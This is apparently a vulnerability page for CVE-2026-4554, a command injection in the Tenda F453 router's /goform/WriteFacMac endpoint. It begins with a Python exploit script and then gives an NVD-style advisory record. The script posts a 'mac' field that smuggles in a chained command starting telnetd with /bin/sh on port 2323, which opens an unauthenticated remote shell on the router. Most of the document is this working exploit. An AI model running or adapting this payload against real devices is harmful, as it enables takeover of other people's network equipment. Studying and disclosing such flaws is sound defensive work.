CVE-2026-4554

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/WriteFacMac" # Vulnerable parameter 'mac' with command injection payload # Example: Attempting to execute a simple command like 'reboot' or 'telnetd' # Using semicolon to chain commands in a Linux shell environment payload_data = { "mac": "AA:BB:CC:DD:EE:FF; telnetd -p 2323 -l /bin/sh" } try: # Sending the POST request to exploit the vulnerability response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4554", "sourceIdentifier": "[email protected]", "published": "2026-03-22T17:17:09.730", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Tenda F453 1.0.0.3. The affected element is the function FormWriteFacMac of the file /goform/WriteFacMac. The manipulation of the argument mac results in command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks."}, {"lang": "es", "value": "Se ha descubierto un fallo de seguridad en Tenda F453 1.0.0.3. El elemento afectado es la función FormWriteFacMac del archivo /goform/WriteFacMac. La manipulación del argumento mac resulta en inyección de comandos. Es posible lanzar el ataque remotamente. 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